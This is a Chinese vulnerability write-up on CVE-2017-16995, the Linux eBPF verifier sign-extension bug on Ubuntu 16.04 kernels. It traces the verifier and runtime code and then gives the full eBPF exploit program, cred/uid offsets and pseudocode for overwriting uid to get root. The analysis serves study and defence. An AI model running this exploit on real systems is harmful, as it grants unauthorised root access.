【CVE-2017-16995】Linux ebpf模块整数扩展问题导致提权漏洞分析
可对特定内核版本的ubuntu 16.04进行提权,本漏洞不包含堆栈攻击或控制流劫持,仅用系统调用数据进行提权,是Data-Oriented Attacks在linux内核上的一个典型应用。
一、技术分析
1. eBPF简介
众所周知,linux的用户层和内核层是隔离的,想让内核执行用户的代码,正常是需要编写内核模块,当然内核模块只能root用户才能加载。而BPF则相当于是内核给用户开的一个绿色通道:BPF(Berkeley Packet Filter)
提供了一个用户和内核之间代码和数据传输的桥梁。用户可以用eBPF指令字节码的形式向内核输送代码,并通过事件(如往socket写数据)来触发内核执行用户提供的代码;同时以map(key,value)
的形式来和内核共享数据,用户层向map中写数据,内核层从map中取数据,反之亦然。BPF设计初衷是用来在底层对网络进行过滤,后续由于他可以方便的向内核注入代码,并且还提供了一套完整的安全措施来对内核进行保护,被广泛用于抓包(tcpdump/wireshark)、内核probe、性能监控等领域。BPF发展经历了2个阶段,cBPF(classic BPF)
和eBPF(extend BPF)
(linux内核3.15以后),cBPF已退出历史舞台,后文提到的BPF默认为eBPF。
2. eBPF虚拟指令系统
寄存器——eBPF虚拟指令系统属于RISC(每条指令长度一样),拥有10个虚拟寄存器,r0-r10,在实际运行时,虚拟机会把这10个寄存器一一对应于硬件CPU的10个物理寄存器,以x64为例,对应关系如下:
R0 – rax (函数返回值)
R1 - rdi (参数)
R2 - rsi (参数)
R3 - rdx (参数)
R4 - rcx (参数)
R5 - r8 (参数)
R6 - rbx
R7 - r13
R8 - r14
R9 - r15
R10 – rbp(只读,栈指针,frame pointer)
指令格式如下:
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};
和seccomp类似,程序功能由code字节决定,最低3位表示大类功能,共7类大功能:
#define BPF_CLASS,
(code) ((code) & 0x07)
#define BPF_LD 0x00
#define BPF_LDX 0x01
#define BPF_ST 0x02
#define BPF_STX 0x03
#define BPF_ALU 0x04
#define BPF_JMP 0x05
#define BPF_RET 0x06
#define BPF_MISC 0x07
各大类功能可通过异或组成不同的新功能。dst_reg
代表目的寄存器,限制为0-10;src_reg
代表目的寄存器,限制为0-10;off
代表地址偏移;imm
代表立即数。
例如一条简单的x86指令:mov esi,0xffffffff
,对应BPF指令为BPF_MOV32_IMM(BPF_REG_2, 0xffffffff)
,对应数据结构为:
#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
在内存中的值为:\xb4\x02\x00\x00\xff\xff\xff\xff
。
编码解码器——参见p4nda师傅写的解码编码小工具,可以用来翻译或者辅助编写EBPF程序。
3.BPF加载过程
(1)syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))
—申请一个map结构,这个结构是用户态与内核态交互的一块共享内存,在attr
结构体中指定map的类型、大小、最大容量。
内核态调用BPF_FUNC_map_lookup_elem
查看map中的数据,用户态通过syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr))
查看map中的数据。
syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr))
—对map数据进行更新,而map根据linux特性,会将其视为一个文件,并分配一个文件描述符。
(2)syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))
—将用户编写的EBPF代码加载进入内核,采用模拟执行对代码进行合法性检查,attr
结构体中包含了指令数量、指令首地址指针、日志级别等属性。
合法性检查包括对指定语法的检查、指令数量的检查、指令中的指针和立即数的范围及读写权限检查,禁止将内核中的地址暴露给用户空间,禁止对BPF程序stack之外的内核地址读写。安全校验通过后,程序被成功加载至内核,后续真正执行时,不再重复做检查。
(3)setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)
—将我们写的BPF程序绑定到指定的socket上,progfd
为上一步骤的返回值。
(4)用户程序通过操作上一步骤中的socket来触发BPF真正执行。此后对于每一个socket数据包执行EBPF代码进行检查,此时为真实执行。
例如:
static void prep(void) {
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
if (mapfd < 0)
__exit(strerror(errno));
puts("mapfd finished");
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);//__prog代码
if (progfd < 0)
__exit(strerror(errno));
puts("bpf_prog_load finished");
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
__exit(strerror(errno));
puts("socketpair finished");
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
__exit(strerror(errno));
puts("setsockopt finished");
}
4. 漏洞
本漏洞的原因是check函数和真正的函数的执行方法不一致导致的,主要问题是二者寄存器值类型不同。先看下面一段EBPF指令:
[0]: ALU_MOV_K(0,9,0x0,0xffffffff) /* r9 = (u32)0xFFFFFFFF */
[1]: JMP_JNE_K(0,9,0x2,0xffffffff) /* if (r9 == -1) { */
[2]: ALU64_MOV_K(0,0,0x0,0x0) /* exit(0); */
[3]: JMP_EXIT(0,0,0x0,0x0)
[4]: ......
......
(1)安全检查
[0]—将0xffffffff赋值给r9寄存器,在do_check()
安全检查函数中,[0]处会直接将0xffffffff赋值给r9,并将type赋值为IMM。
[1]—比较r9==0xffffffff
,相等是就执行[2]、[3],不相等则跳到[4]。根据前文对退出的分析,这个地方在do_check()
看来是一个恒等式(确定性跳转),不会将另一条路径压入stack,直接退出。do_check()
返回成功。
check_cond_jmp_op() do_check()
// do_check() -> 对除开 class== BPF_JMP 类型的jmp(CALL/JA/EXIT),调用 check_cond_jmp_op()
/* detect if R == 0 where R was initialized to zero earlier */
if (BPF_SRC(insn->code) == BPF_K &&
(opcode == BPF_JEQ || opcode == BPF_JNE) &&
regs[insn->dst_reg].type == CONST_IMM &&
regs[insn->dst_reg].imm == insn->imm) { //1.比较指令
if (opcode == BPF_JEQ) {
/* if (imm == imm) goto pc+off;
* only follow the goto, ignore fall-through
*/
*insn_idx += insn->off;
return 0;
} else { // 2.跳转指令恒成立,不压栈目标指令(分支B永不执行),直接返回
/* if (imm != imm) goto pc+off;
* only follow fall-through branch, since
* that's where the program will go
*/
return 0;
}
}
// 3.非确定性跳转,把目标指令压入临时栈备用
other_branch = push_stack(env, *insn_idx + insn->off + 1, *insn_idx);
if (!other_branch)
return -EFAULT;
//都为有符号整数,所以此处条件跳转条件恒成立,不会往临时栈中push分支B指令编号。
struct reg_state {
enum bpf_reg_type type;
union {
/* valid when type == CONST_IMM | PTR_TO_STACK */
int imm; // <-------------- 有符号整数
/* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
* PTR_TO_MAP_VALUE_OR_NULL
*/
struct bpf_map *map_ptr;
};
};
/* BPF has 10 general purpose 64-bit registers and stack frame. */
#define MAX_BPF_REG __MAX_BPF_REG
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant *///<--------有符号整数
};
执行到EXIT指令。会从临时栈中尝试取指令(调用pop_stack函数),如果临时栈中有指令,那就说明还有其他可能执行到的分支,需要继续校验,如果取不到值,表示当前这条EXIT指令确实是BPF程序最后一条可以执行到的指令,此时pop_stack会返回-1,然后break跳出do_check校验循环,do_check执行结束,校验通过。
// do_check()
else if (opcode == BPF_EXIT) {
if (BPF_SRC(insn->code) != BPF_K ||
insn->imm != 0 ||
insn->src_reg != BPF_REG_0 ||
insn->dst_reg != BPF_REG_0) {
verbose("BPF_EXIT uses reserved fields\n");
return -EINVAL;
}
/* eBPF calling convetion is such that R0 is used
* to return the value from eBPF program.
* Make sure that it's readable at this time
* of bpf_exit, which means that program wrote
* something into it earlier
*/
err = check_reg_arg(regs, BPF_REG_0, SRC_OP);
if (err)
return err;
if (is_pointer_value(env, BPF_REG_0)) {
verbose("R0 leaks addr as return value\n");
return -EACCES;
}
process_bpf_exit:
insn_idx = pop_stack(env, &prev_insn_idx); //弹出指令
if (insn_idx < 0) {
break; // 返回-1,表示没有指令
} else {
do_print_state = true;
continue;
}
......
return 0;
(2)真实执行
真实执行的时候,由于一个符号扩展的bug,导致 [1] 中的等式不成立,于是cpu就跳转到第5条指令继续执行,这里是漏洞产生的根因,这4条指令,可以绕过BPF的代码安全检查。既然安全检查被绕过了,用户就可以随意往内核中注入代码了,提权就水到渠成了:先获取到task_struct的地址,然后定位到cred的地址,然后定位到uid的地址,然后直接将uid的值改为0,然后启动/bin/bash。
而在真实执行的过程中,由于寄存器类型不一样,在执行[1]时存在问题:
//bpf_prog_load() -> bpf_prog_select_runtime()真实执行 -> __bpf_prog_run() 真实执行中对JMP_JNE_K指令的定义
JMP_JNE_K:
if (DST != IMM) {
insn += insn->off;
CONT_JMP;
}
CONT;
//其中DST为目标寄存器,IMM为立即数。很显然,符号两边数据类型不一致,导致条件跳转语句的结果完全相反。
//DST
#define DST regs[insn->dst_reg] ///kernel/bpf/core.c#L47
static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn)
{
u64 stack[MAX_BPF_STACK / sizeof(u64)];
u64 regs[MAX_BPF_REG], tmp; // 是u64类型,无符号64位
//IMM
#define IMM insn->imm // /kernel/bpf/core.c#L52
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant *///<--------有符号整数
};
看汇编更明显:
0xffffffff81173bad <__bpf_prog_run+1565> mov qword ptr [rbp + rax*8 - 0x278], rdi
0xffffffff81173bb5 <__bpf_prog_run+1573> movzx eax, byte ptr [rbx]
0xffffffff81173bb8 <__bpf_prog_run+1576> jmp qword ptr [r12 + rax*8]
↓
0xffffffff81173e7b <__bpf_prog_run+2283> movzx eax, byte ptr [rbx + 1]
0xffffffff81173e7f <__bpf_prog_run+2287> movsxd rdx, dword ptr [rbx + 4]
► 0xffffffff81173e83 <__bpf_prog_run+2291> and eax, 0xf
0xffffffff81173e86 <__bpf_prog_run+2294> cmp qword ptr [rbp + rax*8 - 0x278], rdx
0xffffffff81173e8e <__bpf_prog_run+2302> je __bpf_prog_run+5036 <0xffffffff8117493c>
0xffffffff81173e94 <__bpf_prog_run+2308> movsx rax, word ptr [rbx + 2]
0xffffffff81173e99 <__bpf_prog_run+2313> lea rbx, [rbx + rax*8 + 8]
0xffffffff81173e9e <__bpf_prog_run+2318> movzx eax, byte ptr [rbx]
───────────────────────────────────[ BACKTRACE ]────────────────────────────────────
► f 0 ffffffff81173e83 __bpf_prog_run+2291
f 1 ffffffff817272bc sk_filter_trim_cap+108
f 2 ffffffff817272bc sk_filter_trim_cap+108
f 3 ffffffff817b824a unix_dgram_sendmsg+586
f 4 ffffffff817b824a unix_dgram_sendmsg+586
f 5 ffffffff816f4728 sock_sendmsg+56
f 6 ffffffff816f4728 sock_sendmsg+56
f 7 ffffffff816f47c5 sock_write_iter+133
f 8 ffffffff8120cf59 __vfs_write+201
f 9 ffffffff8120cf59 __vfs_write+201
f 10 ffffffff8120d5d9 vfs_write+169
pwndbg> i r rdx
rdx 0xffffffffffffffff -1
pwndbg> x /gx $rbx+4
0xffffc90000099034: 0x000000b7ffffffff
pwndbg>
可以看到汇编指令被翻译成movsxd,而此时会发生符号扩展,由原来的0xffffffff扩展成0xffffffffffffffff,再次比较的时候二者并不相同,造成了跳转到[4]处执行,从而绕过了对[4]以后EBPF程序的校验。
二、漏洞利用
思路:[4]以后的程序不经过check,就可以任意执行指令,可构造任意地址读写。也即提前构造3个map,分别放置3个值,然后读到r6/r7/r8寄存器中(r6为0表示任意读,把r7指向的值读到r8;r6为1表示读rbp,泄露内核栈地址;r6为2表示任意写,把r8写到r7地址)。
[0]: ALU_MOV_K(0,9,0x0,0xffffffff) /* r9 = (u32)0xFFFFFFFF */
[1]: JMP_JNE_K(0,9,0x2,0xffffffff) /* if (r9 == -1) { */
[2]: ALU64_MOV_K(0,0,0x0,0x0) /* exit(0); */
[3]: JMP_EXIT(0,0,0x0,0x0)
[4]: LD_IMM_DW(1,9,0x0,0x3) /* r9=mapfd */
[5]: maybe padding // 以存放mapfd地址
//1.BPF_MAP_GET(0, BPF_REG_6) r6=op,取map的第1个元素放到r6
[6]: ALU64_MOV_X(9,1,0x0,0x0) /* r1 = r9 */
[7]: ALU64_MOV_X(10,2,0x0,0x0) /* r2 = fp */
[8]: ALU64_ADD_K(0,2,0x0,0xfffffffc)/* r2 = fp - 4 */
[9]: ST_MEM_W(0,10,0xfffc,0x0) /* *(u32 *)(fp - 4) = 0 */
[10]: JMP_CALL(0,0,0x0,0x1)//BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem)
[11]: JMP_JNE_K(0,0,0x1,0x0) /* if (r0 == 0) */
[12]: JMP_EXIT(0,0,0x0,0x0) /* exit(0); */
[13]: LDX_MEM_DW(0,6,0x0,0x0) /* r6 = *(u64 *)(r0) */
//2.BPF_MAP_GET(1, BPF_REG_7) r7=address,取map的第2个元素放到r7
[14]: ALU64_MOV_X(9,1,0x0,0x0) /* r1 = r9 */
[15]: ALU64_MOV_X(10,2,0x0,0x0) /* r2 = fp */
[16]: ALU64_ADD_K(0,2,0x0,0xfffffffc)/* r2 = fp - 4 */
[17]: ST_MEM_W(0,10,0xfffc,0x1) /* *(u32 *)(fp - 4) = 1 */
[18]: JMP_CALL(0,0,0x0,0x1)//BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem)
[19]: JMP_JNE_K(0,0,0x1,0x0) /* if (r0 == 0) */
[20]: JMP_EXIT(0,0,0x0,0x0) /* exit(0); */
[21]: LDX_MEM_DW(0,7,0x0,0x0) /* r7 = *(u64 *)(r0) */
//3.#BPF_MAP_GET(2, BPF_REG_8) r8=value,取map的第3个元素放到r8
[22]: ALU64_MOV_X(9,1,0x0,0x0) /* r1 = r9 */
[23]: ALU64_MOV_X(10,2,0x0,0x0) /* r2 = fp */
[24]: ALU64_ADD_K(0,2,0x0,0xfffffffc)/* r2 = fp - 4 */
[25]: ST_MEM_W(0,10,0xfffc,0x2) /* *(u32 *)(fp - 4) = 2 */
[26]: JMP_CALL(0,0,0x0,0x1)//#BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem)
[27]: JMP_JNE_K(0,0,0x1,0x0) /* if (r0 == 0) */
[28]: JMP_EXIT(0,0,0x0,0x0) /* exit(0); */
[29]: LDX_MEM_DW(0,8,0x0,0x0) /* r8 = *(u64 *)(r0) */
[30]: ALU64_MOV_X(0,2,0x0,0x0) /* r2 = r0 */
[31]: ALU64_MOV_K(0,0,0x0,0x0) /* r0 = 0 for exit(0) */
[32]: JMP_JNE_K(0,6,0x3,0x0) /* if (r6 != 0) jmp to 36 */
[33]: LDX_MEM_DW(7,3,0x0,0x0) /* r3 = [r7] */
[34]: STX_MEM_DW(3,2,0x0,0x0) /* [r2] = r3 */
[35]: JMP_EXIT(0,0,0x0,0x0) /* exit(0) */
[36]: JMP_JNE_K(0,6,0x2,0x1) /* if (r6 != 1) jmp to 39 */
[37]: STX_MEM_DW(10,2,0x0,0x0) /* [r2]=rbp */
[38]: JMP_EXIT(0,0,0x0,0x0) /* exit(0); */
[39]: STX_MEM_DW(8,7,0x0,0x0) /* [r7]=r8 */
[40]: JMP_EXIT(0,0,0x0,0x0) /* exit(0); */
1. 指令分析
[4]-[5]:由bpf代码阅读可知,获取mapfd地址,[5]是填充;完成后map地址复制给r9。
[6]-[13]:调用BPF_FUNC_map_lookup_elem(map_add,idx),并将返回值存到r6寄存器中,即r6=map[0]。
[14]-[21]:r7=map[1]。
[22]-[29]:r8=map[2]。 map[0]/map[1]/map[2]用户可控。
[30]-[40]:map[0]==0,将map[1]指向的值写入map[2],任意读;map[0]==1,将rbp值写入map[2],泄露栈地址;map[0]==2,将map[2]写入map[1]地址中,任意写。
2.利用步骤
1.申请一个MAP,长度为3;
2.这个MAP的第一个元素为操作指令,第2个元素为需要读写的内存地址,第3个元素用来存放读取到的内容。此时这个MAP相当于一个CC,3个元素组成一个控制指令。
3.组装一个指令,读取内核的栈地址 addr。根据内核栈地址获取到current的地址(addr & ~(0x4000 - 1))。
4.读current结构体的第一个成员,获得task_struct的地址,继而加上cred的偏移(task_struct_addr+0x5f8)得到cred地址,最终获取到uid的地址(cred_addr+4)。
5.组装一个写指令,向上一步获取到的uid地址写入0.
6.启动新的bash进程,该进程的uid为0,提权成功。
说明:我理解的current
指针实际上就是内核栈最低地址,最低地址存放thread_info结构,thread_info结构第一个成员是task_struct指针。
Exp中就是按照如上的攻击路径来提权的,申请完map之后,首先发送获取内核栈地址的指令,如下:
bpf_update_elem(0, 1);
bpf_update_elem(1, 0);
bpf_update_elem(2, 0);
然后通过调用writemsg触发BPF程序运行。
//漏洞利用伪代码:
update_map_012(1,0,0);
stack_addr= get_map(2); // 0xffff8800758c3c88
current_addr=stack_addr & ~(0x4000 - 1); // 0xffff8800758c0000
update_map_012(0,current_addr,0);
task_addr = get_map(2); // 0xffff880074343c00
update_map_012(0,task_addr+0x5f8,0);
cred_addr = get_map(2)+0x4; // 0xffff880074cb5e00+4
update_map_012(2,cred_addr,0); // 提权!
3.问题
注意:
- cred地址偏移可能不同。
4.4.0-116-generic
中是0x5f8
;v4.4.110
中是0x9b8
。 - uid地址偏移可能不同。
- 修改uid时,修改24字节才能真正执行特权操作(如
cat /proc/kallsyms
)。
命令:
# gdb中查找偏移(需符号信息)
pwndbg> p &(*(struct task_struct *)0).cred
$2 = (const struct cred **) 0x9b8 <irq_stack_union+2488>
pwndbg> p &(*(struct cred *)0).uid
$3 = (kuid_t *) 0x4 <irq_stack_union+4>
# gdb中确认偏移
(gdb) p ((struct task_struct *)0xffff880074343c00)->cred
$16 = (const struct cred *) 0xffff880074cb5e00
(gdb) p &((struct task_struct *)0xffff880074343c00)->cred
$17 = (const struct cred **) 0xffff8800743441f8
(gdb) x/10x 0xffff880074343c00+0x5f8
0xffff8800743441f8: 0x74cb5e00 0xffff8800#和0xffff880074cb5e00一致